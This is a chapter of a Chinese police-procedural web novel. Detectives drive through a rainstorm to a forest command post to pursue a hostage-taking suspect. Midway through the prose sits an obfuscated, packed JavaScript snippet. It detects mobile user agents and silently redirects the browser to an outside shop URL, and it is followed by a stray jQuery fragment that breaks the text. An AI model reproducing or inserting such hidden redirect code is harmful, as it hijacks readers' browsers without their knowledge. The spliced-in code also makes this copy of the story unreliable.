技术科很快来现场提取了脚印。
由于脚印比对需要时间,这年头的电脑还没普及,很多资料还没联网,需要人工分析资料。
杨明刚请技术科和资料科的人帮忙比对脚印,他则开上局里一辆小轿车,带上单英和两名支援的民警,马不停碲地赶往临市。
临市榆林区距离榕市城西上千公里,开车要一天,杨明刚蹲守王祖明一晚本就困得慌,上车开了不到两个小时就开始打盹,车子偏离车道差点出事。
他不得已停下车,想让车后座的两名民警开车,谁知道这俩人,一个说自己晕车开不了车,一个说自己考得驾照还没拿到,最后坐在副驾驶上的单英说自己会开车,她来开。
杨明刚抱着怀疑的态度,“单英,这辆车是手动档,还是六十年代的老车,很难开,你会开吗?”
“杨队,我在派出所呆了三年,驾驶证我早已拿到,什么样的车子我都开过,开这辆车没问题。”单英坐上驾驶位,等坐上副驾驶位的杨明刚绑架安全带,一踩油门,车子轰隆一声飞了出去,速度之快,比杨明刚之前温温吞吞的速度快了至少一半。
车里其他人都吓了一跳,后车座的一名年轻的民警白着脸喊:“单同志,你开慢点,我晕车,你这速度跟过山车一样,我感觉我要吐了!”
另一名老一点的民警,伸手拽住车顶上的把手,嘴里嚷嚷:“咱们局里的车,大部分都是老家伙,速度开快了,车会散架。”
单英头也不回地说:“同志们,你们是警察,拥有钢铁般的意志,都忍忍吧。我开得越快,你们受得罪越短,我要是像杨队那样开得慢,你们就会一直在车里受颠簸之苦。在长受罪与短受罪之间,你们俩选吧。”
八零年代的公路都是土公路,路上全是沙石,车子行驶在上面,就不停地抖抖抖。
很多偏远地区的山路,一下雨就坑坑洼洼,泥泞难行,跟现代水泥化的平直马路完全不一样,车子行走在这样的道路上,那叫一个颠簸,身体素质不好的人坐车,能把隔夜饭都颠出来。
两名民警想了想外面的路况,都默契地叹口气,纷纷闭上眼睛靠在座椅上不吭声,选择短痛。
他们警察外出执行任务,最怕的就是坐车去偏远地区,平时不下雨的时候还好,车子行走在沙石上他们还能接受。
要是下雨,土路变泥路,车子在泥坑里跟蹦迪似得,高高低低、晃晃悠悠,时不时往上蹦两下,光想想就让人生不如死。
“......”坐在副驾驶位置的杨明刚,被单英的操作给整的瞌睡全无,可他蹲守王祖明一夜,的确困得慌,后面两个支援的也不愿意开车,人家单英主动请缨开车,他还挑什么自行车?
他也不好说人家一个姑娘家,这种情况下,有人开车就不错了,想想闭上眼睛,只要单英开得车不出事,她想怎么开,就怎么开吧。
时间渐渐流逝,车子在前往临市的国道上不断行走,中途单英停过车,询问杨明刚三人要不要上厕所,吃点东西。
三人都被她颠簸的车技折腾得有气无力,下车上了厕所以后,都不想吃东西,直接上车,让她速开,减少对他们的折磨。
车子继续前进,天色变黑之时,天边忽然下起了倾盆大雨,路况变得极差,单英不得不放慢了速度。
车里的三人睡得七仰八叉,也不知道是颠簸的太难受晕了过去,还是习惯了单英的车技,放心大胆的睡着了。
感受到单英放慢了车速,车窗外传来震耳欲聋的雷电轰鸣声,三人纷纷惊醒,看到外面天黑的不成样,瓢泼大的雨刷拉拉冲刷在车窗上,三人一同抽了一口冷气。
年轻民警:“我去,这么大的雨,单同志你也不停下,等雨小一点再开?”
老民警伸手捂住胸口,一副害怕的模样,“还是年轻人胆子大,这么大的雨,路不知道有多滑,这都能开着走,简直不把命当成命啊。”
杨明刚欲言又止,过了好几秒才说:“小单,你把车停靠在路边,让我来开,我已经睡醒了。”
“不用了杨队,我们已经到达目的地了。”单英握着方向盘,转了一个弯道说。
前方隐约可见大片大片茂密的树林,在树林的路边,有一栋低矮的房屋,亮着暖黄色的灯光,屋子外面停着几辆车,显然就是于江华说得抓捕赵刚子行动的临时指挥处。
杨明刚一看果然到了,不敢置信:“你这开车的速度,的确快啊,竟然比预想的时间,快了近三个小时。”
单英停下车,“我开车的速度的确快了些,希望你们不要在心里骂我就好。”伸手打开车门,第一个下车。
杨明刚跟车后座的两名民警,看着她伸出双手拦在头顶上,身形快速地冒雨冲向亮灯的房屋,都不约而同地对视一眼。
老民警砸吧着嘴说:“杨队,这个新来的女刑警,的确很勇猛啊,不仅为人勇猛,车技勇,性格也猛。这么大的雨,说出去就出去,没有一点娇气的样子,也不怕雨淋湿衣服。”
“是啊,这姑娘的勇猛程度,让我叹为观止。”杨明刚也感叹,“我就没见过像她这么猛的女警,刚调到我们分局就敢跟持枪的匪徒提议,以自己交换人质,差点被匪徒打死。这伤才好,遇上这桩命案,要追嫌疑人,就不要命的开车,想早点把人给捉住,还不怕雨淋......我当年入警队,都没她这么拼命,她可真是个天生的做刑警的料。”
“要做到这个份上,才能调进刑侦部吗?”年轻的民警若有所思。
大雨磅礴中,单英率先冲进低矮的小木屋里,把里面的人吓一大跳,都条件反射地拔枪。
待看清是谁之时,廖正辉放下手中的枪,没好气道:“单姐,你进来怎么不敲门?我还以为是熊瞎子,或者是赵刚子胆大包天,夜半来偷袭我们警察,差点朝你开枪了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837647|211514||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“我敲门了,是你们没听见。”单英大步走进屋里,抹了一把脸上的雨水,环顾一圈。
小木屋不大,大概有个三十平方米,是用木头修建的大通铺屋子,里面或躺,或坐、或站着二十多个穿着警服和便装的警察,另外还有两个皮肤颇黑,长相老实,一看就是这套木屋的主人,或者住在附近的居民。
屋子的角落放着一些日常用品,正中间放着一低矮的四角桌,桌上有一张地图,单英进来以后,门外吹来的劲风,把那张地图吹得乱飞,躺在炕上的于江华坐起身来,眼疾手快地将那地图抓进手里。
看到杨明刚三人陆陆续续进来,把挡雨的木门关上,他打了个哈欠说:“来了老杨。”
“现在是个什么情况?”杨明刚站在门口抖了抖身上的雨水,环顾一圈后,目光落在于江华的脸上。
“赵刚子挟持着老罗的小儿子进到林区深处去了,里面树木众多,杂草丛生,路况复杂,我们跟踪一段距离就把人跟丢了。本来我们从兄弟单位和附近的猎户家里借了几头猎犬,想连夜进林子寻找赵刚子的踪迹,现在下起大雨,雨水冲刷掉了赵刚子的气味,猎犬也找不到他们的踪迹。”于江华站起身来,从兜里掏出一包烟来,四下分给抽烟的警察,自己也抽上一根,神情烦躁。
他跟劳袁青、廖正辉,还有榆林区的公安警察,熬了整整两天两夜都没把赵刚子给拿下,这种负隅顽抗,折腾警方的嫌疑人,让他心情很不好。
“看来这个赵刚子是冥顽不明,对这周围的地形很熟悉啊。”杨明刚皱着眉头,走到于江华的面前,拿起他手中的地图看了看,接着把他跟单英在第二命案现场发现的脚印,以及单英的推断当着他和其他人的面儿又说了一遍,最后说:“现在怎么搞?我们要等到雨停后再进林子抓他?”
于江华看了一眼外面的天色,思忖道:“赵刚子的母亲是这里的人,他小时候在这里长大,对这里的地形十分熟悉。如果我们白天去抓捕他,他东躲西藏,我们很难抓到他,还会激起他的逆反心理,伤害人质。我们最好等雨小一点,趁黑摸进去,摸到他可能藏身的位置,兴许能将他一举抓获。”
单英询问:“于队,你们知道他可能藏身在哪吗?”
于江华伸手指了指站在木屋右侧,一个个子不高,年纪大约在四十五岁上下的男人说:“老罗可能知道,距离这里大约两公里的地方是个林场,赵刚子的外婆家就在林场,赵刚子算是老罗看着长大的,他应该知道赵刚子会藏在哪儿。”
被点名的老罗低声臭骂起来:“这个刚子,亏他小时候经常来找我家柱子玩,老子还让我家老婆子给他做好吃的,还在河里捞过差点淹死的他。结果他现在这么忘恩负义,打伤我跟柱子,抢了我们的猎枪,挟持着我家柱子到林区深处去。那里面可是有狼有熊瞎子的,他不要命,还拉上我小儿子垫背,这该死的畜生,等我找到他,我非揍死他不可!”